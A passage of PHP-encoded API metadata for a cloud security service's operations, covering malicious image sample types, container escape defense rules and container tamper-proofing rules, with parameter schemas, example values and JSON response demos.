\\"ItemName\\": \\"itemName\\"\\n }\\n ],\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C619F37\\"\\n}","type":"json"}]', 'title' => 'ListImageBuildRiskItem', ], 'DescribeMatchedMaliciousNames' => [ 'summary' => 'Queries a list of malicious image sample types.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Levels', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The severity of the malicious image sample that you want to query. You can enter multiple severities. Separate the severities with commas (,). Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'required' => false, 'example' => 'serious', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C7CD1BE6-97A2-5524-A529-B55C63E55D59', ], 'Count' => [ 'description' => 'The number of entries on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Key' => [ 'description' => 'The key of the malicious image sample type.'."\n", 'type' => 'string', 'example' => 'key', ], 'DisplayName' => [ 'description' => 'The display name of the malicious image sample type.'."\n", 'type' => 'string', 'example' => 'displayname', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C7CD1BE6-97A2-5524-A529-B55C63E55D59\\",\\n \\"Count\\": 1,\\n \\"Data\\": [\\n {\\n \\"Key\\": \\"key\\",\\n \\"DisplayName\\": \\"displayname\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeMatchedMaliciousNames', ], 'ListAegisContainerPluginRule' => [ 'summary' => 'Queries defense rules against container escapes.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '183030', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The query condition.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"name\\": \\"name\\", \\"value\\": \\"test-1818\\"}]', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **0**: custom'."\n" .'* **1**: system'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'default' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], ], ], 'RuleList' => [ 'description' => 'The rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'GmtCreate' => [ 'description' => 'The time when the rule was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1676355025000', ], 'GmtModified' => [ 'description' => 'The time when the rule was modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1681985833000', ], 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30****', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test-18****', ], 'RuleDescription' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => 'system_call', ], 'RuleTemplateId' => [ 'description' => 'The ID of the rule template. The ListSystemClientRules operation returns the ID of a rule template.'."\n", 'type' => 'string', 'example' => '868**', ], 'RuleTemplateName' => [ 'description' => 'The name of the rule template.'."\n", 'type' => 'string', 'example' => 'system_call', ], 'Mode' => [ 'description' => 'The action of the rule. Valid values:'."\n" ."\n" .'* **1**: Alert'."\n" .'* **2**: Block'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SelectedPolicy' => [ 'description' => 'The fields in the value of the rule subtype.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The field in the value of the rule subtype.'."\n", 'type' => 'string', 'example' => 'system_schedule_task', ], ], 'SwitchId' => [ 'description' => 'The switch ID of the rule.'."\n", 'type' => 'string', 'example' => 'USER-ENABLE-SWITCH-TYPE_****', ], 'WhiteImages' => [ 'description' => 'The images that are added to the whitelist of the rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image that is added to the whitelist of the rule.'."\n", 'type' => 'string', 'example' => 'nginx:latest', ], ], 'Policies' => [ 'description' => 'An array that consists of policies.', 'type' => 'array', 'items' => [ 'description' => 'The information about the policy.'."\n", 'type' => 'object', 'properties' => [ 'PolicyKey' => [ 'description' => 'The policy key.'."\n", 'type' => 'string', 'example' => 'system_auto_****', ], 'PolicyName' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'System self-starting task\\*\\*\\*\\*', ], ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69\\n },\\n \\"RuleList\\": [\\n {\\n \\"GmtCreate\\": 1676355025000,\\n \\"GmtModified\\": 1681985833000,\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"test-18****\\",\\n \\"RuleDescription\\": \\"system_call\\",\\n \\"RuleTemplateId\\": \\"868**\\",\\n \\"RuleTemplateName\\": \\"system_call\\",\\n \\"Mode\\": 1,\\n \\"SelectedPolicy\\": [\\n \\"system_schedule_task\\"\\n ],\\n \\"SwitchId\\": \\"USER-ENABLE-SWITCH-TYPE_****\\",\\n \\"WhiteImages\\": [\\n \\"nginx:latest\\"\\n ],\\n \\"Policies\\": [\\n {\\n \\"PolicyKey\\": \\"system_auto_****\\",\\n \\"PolicyName\\": \\"系统自启动任务****\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAegisContainerPluginRule', ], 'ListSasContainerWebDefenseRule' => [ 'summary' => 'Queries rules for container tamper-proofing.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions for assets. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **name**: the name of the search condition.'."\n" ."\n" .'* **value**: the value of the search condition.'."\n" ."\n" .'* **logicalExp**: the logical relation for multiple search conditions. Valid values:'."\n" ."\n" .' * **OR**: The search conditions use a logical **OR**.'."\n" .' * **AND**: The search conditions use a logical **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"name\\":\\"ruleName\\",\\"value\\":\\"test-1818\\",\\"logicalExp\\":\\"AND\\"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical relation for multiple search conditions. Valid values:'."\n" ."\n" .'* **OR**: The search conditions use a logical **OR**.'."\n" .'* **AND**: The search conditions use a logical **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '50', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID, which is used to query logs and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8C376***AE74FB4', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '42', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], 'ContainerWebDefenseRuleList' => [ 'description' => 'The rules for container tamper-proofing.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RuleStatus' => [ 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AliUid' => [ 'description' => 'The user ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1766185894104675', ], 'ApptotalCount' => [ 'description' => 'The number of the applications.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '420336648', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test2', ], 'GmtCreate' => [ 'description' => 'The creation time. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1698978109000', ], 'GmtModified' => [ 'description' => 'The timestamp when the alert event was last modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1678852686000', ], 'PathConfDTOList' => [ 'description' => 'The paths that are protected.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ExcludeFile' => [ 'description' => 'The file that is excluded.'."\n", 'type' => 'string', 'example' => 'php', ], 'GuardType' => [ 'description' => 'The protection mode. Valid values:'."\n" ."\n" .'* **0**: basic mode (whitelist)'."\n" .'* **1**: complex mode (blacklist)'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ExcludeFilePath' => [ 'description' => 'The path to the file that is excluded.'."\n", 'type' => 'string', 'example' => '/usr/tt', ], 'IncludeFile' => [ 'description' => 'The file that is included.'."\n", 'type' => 'string', 'example' => '/usr/test', ], 'IncludeFileType' => [ 'description' => 'The type of the file that is included.'."\n", 'type' => 'string', 'example' => 'php', ], 'DefensePath' => [ 'description' => 'The protected path.'."\n", 'type' => 'string', 'example' => '/usr/test/', ], 'ExcludeFileType' => [ 'description' => 'The type of the file that is excluded.'."\n", 'type' => 'string', 'example' => 'jsp', ], 'DefenseMode' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **block**'."\n" .'* **audit**'."\n", 'type' => 'string', 'example' => 'audit', ], 'BackupPath' => [ 'description' => 'The backup paths.'."\n", 'type' => 'string', 'example' => '/tmp/test', ], 'ProcessPathList' => [ 'description' => 'The processes that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The process that is added to the whitelist.'."\n", 'type' => 'string', 'example' => '/usr/bin/mv', ], ], ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8C376***AE74FB4\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 42,\\n \\"Count\\": 4\\n },\\n \\"ContainerWebDefenseRuleList\\": [\\n {\\n \\"RuleStatus\\": 1,\\n \\"AliUid\\": 1766185894104675,\\n \\"ApptotalCount\\": 10,\\n \\"Id\\": 420336648,\\n \\"RuleName\\": \\"test2\\",\\n \\"GmtCreate\\": 1698978109000,\\n \\"GmtModified\\": 1678852686000,\\n \\"PathConfDTOList\\": [\\n {\\n \\"ExcludeFile\\": \\"php\\",\\n \\"GuardType\\": 0,\\n \\"ExcludeFilePath\\": \\"/usr/tt\\",\\n \\"IncludeFile\\": \\"/usr/test\\",\\n \\"IncludeFileType\\": \\"php\\",\\n \\"DefensePath\\": \\"/usr/test/\\",\\n \\"ExcludeFileType\\": \\"jsp\\",\\n \\"DefenseMode\\": \\"audit\\",\\n \\"BackupPath\\": \\"/tmp/test\\",\\n \\"ProcessPathList\\": [\\n \\"/usr/bin/mv\\"\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListSasContainerWebDefenseRule', ], 'GetSasContainerWebDefenseRule' => [ 'summary' => 'Get Container File Defense Rule Details.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'Rule ID.'."\n" .'> You can call the [ListSasContainerWebDefenseRule](~~ListSasContainerWebDefenseRule~~) API to get this parameter.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1600009', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the current request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and issue localization.', 'type' => 'string', 'example' => 'BA674E4**62FB5133', ], 'ContainerWebDefenseRule' => [ 'description' => 'Details of the container file defense rule.', 'type' => 'object', 'properties' => [ 'RuleStatus' => [ 'description' => 'Rule status. The value descriptions are as follows:'."\n" ."\n" .'- **1**: Enabled'."\n" .'- **0**: Disabled', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AliUid' => [ 'description' => 'User ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '1000**0002', ], 'AppTotalCount' => [ 'description' => 'Total number of applications.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Id' => [ 'description' => 'Rule ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'RuleName' => [ 'description' => 'Rule name.', 'type' => 'string', 'example' => 'FiledefenseRule.', ], 'GmtCreate' => [ 'description' => 'Timestamp when the rule was created. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1709173360000', ], 'GmtModified' => [ 'description' => 'Timestamp when the rule was last modified. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1655432638000', ], 'PathConfDTOList' => [ 'description' => 'List of configured file paths.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'ExcludeFile' => [ 'description' => 'Excluded files.', 'type' => 'string', 'example' => 'file1', ], 'GuardType' => [ 'description' => 'Protection mode.'."\n" .'- **0**: Basic mode (whitelist)'."\n" .'- **1**: Advanced mode (blacklist)', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ExcludeFilePath' => [ 'description' => 'Excluded file path.', 'type' => 'string', 'example' => '/test2/sub1,/test2/sub2', ], 'IncludeFile' => [ 'description' => 'Included files.', 'type' => 'string', 'example' => 'webapp', ], 'DefensePath' => [ 'description' => 'Defense path', 'type' => 'string', 'example' => '/test11*', ], 'ExcludeFileType' => [ 'description' => 'Exclude file types.', 'type' => 'string', 'example' => 'doc', ], 'DefenseMode' => [ 'description' => 'Action to be executed.'."\n" .'- **block** : Block'."\n" .'- **audit** : Alert', 'type' => 'string', 'example' => 'audit', ], 'BackupPath' => [ 'description' => 'Backup path.', 'type' => 'string', 'example' => '/usr/path/', ], 'IncludeFileType' => [ 'description' => 'Type of included files.', 'type' => 'string', 'example' => 'doc', ], 'ProcessPathList' => [ 'description' => 'Whitelist process list.', 'type' => 'array', 'items' => [ 'description' => 'Whitelist process.', 'type' => 'string', 'example' => '/bin/proc1a,/bin/proc1b', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BA674E4**62FB5133\\",\\n \\"ContainerWebDefenseRule\\": {\\n \\"RuleStatus\\": 1,\\n \\"AliUid\\": 0,\\n \\"AppTotalCount\\": 1,\\n \\"Id\\": 100,\\n \\"RuleName\\": \\"防篡改规则\\",\\n \\"GmtCreate\\": 1709173360000,\\n \\"GmtModified\\": 1655432638000,\\n \\"PathConfDTOList\\": [\\n {\\n \\"ExcludeFile\\": \\"file1\\",\\n \\"GuardType\\": 0,\\n \\"ExcludeFilePath\\": \\"/test2/sub1,/test2/sub2\\",\\n \\"IncludeFile\\": \\"webapp\\",\\n \\"DefensePath\\": \\"/test11*\\",\\n \\"ExcludeFileType\\": \\"doc\\",\\n \\"DefenseMode\\": \\"audit\\",\\n \\"BackupPath\\": \\"/usr/path/\\",\\n \\"IncludeFileType\\": \\"doc\\",\\n \\"ProcessPathList\\": [\\n \\"/bin/proc1a,/bin/proc1b\\"\\n ]\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'Get Container File Defense Rule Details', 'translator' => 'machine', ], 'OperateSwitchStatus' => [ 'summary' => 'Changes the status of a rule for container tamper-proofing.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the ListContainerWebDefenseRule operation to query the IDs of rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '900001', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the rule. Valid values: on and off.'."\n", 'type' => 'string', 'required' => true, 'example' => 'on', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8AE9D3DA-406B-51FA-AA1C-89440C1459BF', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8AE9D3DA-406B-51FA-AA1C-89440C1459BF\\"\\n}","type":"json"}]', 'title' => 'OperateSwitchStatus', ], 'AddSasContainerWebDefenseRule' => [ 'summary' => 'Creates a rule for container tamper-proofing.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-2020', 'maxLength' => 50, 'minLength' => 3, ], ], [ 'name' => 'PathConfDTOList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths that you want to protect.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'DefensePath' => [ 'description' => 'The path that you want to protect.'."\n", 'type' => 'string', 'required' => true, 'example' => '/usr/test/', 'maxLength' => 500, ], 'BackupPath' => [ 'description' => 'The backup path.'."\n", 'type' => 'string', 'required' => false, 'example' => '/tmp/test', ], 'ExcludeFilePath' => [ 'description' => 'The path to the file that you want to exclude.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/test/tt', ], 'ExcludeFileType' => [ 'description' => 'The type of the file that you want to exclude.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jsp', ], 'ExcludeFile' => [ 'description' => 'The file that you want to exclude.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/test/aa', ], 'GuardType' => [ 'description' => 'The protecion mode. Valid values:'."\n" ."\n" .'* **0**: basic mode (whitelist)'."\n" .'* **1**: complex mode (blacklist)'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], 'IncludeFileType' => [ 'description' => 'The type of the file that you want to include.'."\n", 'type' => 'string', 'required' => false, 'example' => '*.jsp', ], 'IncludeFile' => [ 'description' => 'The file that you want to include.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/test/t1', ], 'DefenseMode' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **block**'."\n" .'* **audit**'."\n", 'type' => 'string', 'required' => false, 'example' => 'audit', ], 'ProcessPathList' => [ 'description' => 'The processes that you want to add to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The process that you want to add to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => '/bin/cp', 'maxLength' => 50, 'minLength' => 0, ], 'required' => true, 'maxItems' => 10, 'minItems' => 0, ], ], 'required' => false, ], 'required' => false, 'maxItems' => 10, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8B4B6E6D-B0B0-5F05-A14E-82917D9648EE', ], 'Data' => [ 'description' => 'The unique value of the created rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '200634', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8B4B6E6D-B0B0-5F05-A14E-82917D9648EE\\",\\n \\"Data\\": 200634\\n}","type":"json"}]', 'title' => 'AddSasContainerWebDefenseRule', ], 'ModifySasContainerWebDefenseRule' => [ 'summary' => 'Modifies a rule for container tamper-proofing.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '200634', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'wwwwwww', ], ], [ 'name' => 'PathConfDTOList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths that are protected.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'DefensePath' => [ 'description' => 'The path that is protected.'."\n", 'type' => 'string', 'required' => true, 'example' => '/test/home/', ], 'BackupPath' => [ 'description' => 'The backup paths.'."\n", 'type' => 'string', 'required' => false, 'example' => '/tmp/test', ], 'ExcludeFilePath' => [ 'description' => 'The paths to the files that are excluded.'."\n", 'type' => 'string', 'required' => false, 'example' => '/test/home/qq', ], 'ExcludeFileType' => [ 'description' => 'The types of the files that are excluded.'."\n", 'type' => 'string', 'required' => false, 'example' => 'php', ], 'ExcludeFile' => [ 'description' => 'The files that are excluded.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/test', ], 'GuardType' => [ 'description' => 'The protection mode. Valid values:'."\n" ."\n" .'* **0**: basic mode (whitelist)'."\n" .'* **1**: complex mode (blacklist)'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], 'IncludeFileType' => [ 'description' => 'The type of the files that are included.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jsp', ], 'IncludeFile' => [ 'description' => 'The files that are included.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/test', ], 'DefenseMode' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **block**'."\n" .'* **audit**'."\n", 'type' => 'string', 'required' => true, 'example' => 'audit', ], 'ProcessPathList' => [ 'description' => 'The processes that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The process that is added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => '/bin/bash', ], 'required' => false, 'maxItems' => 10, 'minItems' => 1, ], 'PathConfId' => [ 'description' => 'The path ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '12345678', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 10, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A447E4E3-42A3-58B7-A7D4-2287745BEFDC', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A447E4E3-42A3-58B7-A7D4-2287745BEFDC\\"\\n}","type":"json"}]', 'title' => 'ModifySasContainerWebDefenseRule', ], 'GetSasContainerWebDefenseRuleApplication' => [ 'summary' => 'Queries the applications that are specified in a rule for container tamper-proofing.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the ListSasContainerWebDefenseRule operation to query the IDs of rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '400599', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], 'ContainerWebDefenseAppList' => [ 'description' => 'The applications.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'GmtCreate' => [ 'description' => 'The time when the application was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1677839038000', ], 'AliUid' => [ 'description' => 'The user ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '5944922169365****', ], 'Tag' => [ 'description' => 'The value of the application label.'."\n", 'type' => 'string', 'example' => 'app:test', ], 'GmtModified' => [ 'description' => 'The last modification time. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1667891185000', ], 'Id' => [ 'description' => 'The ID of the 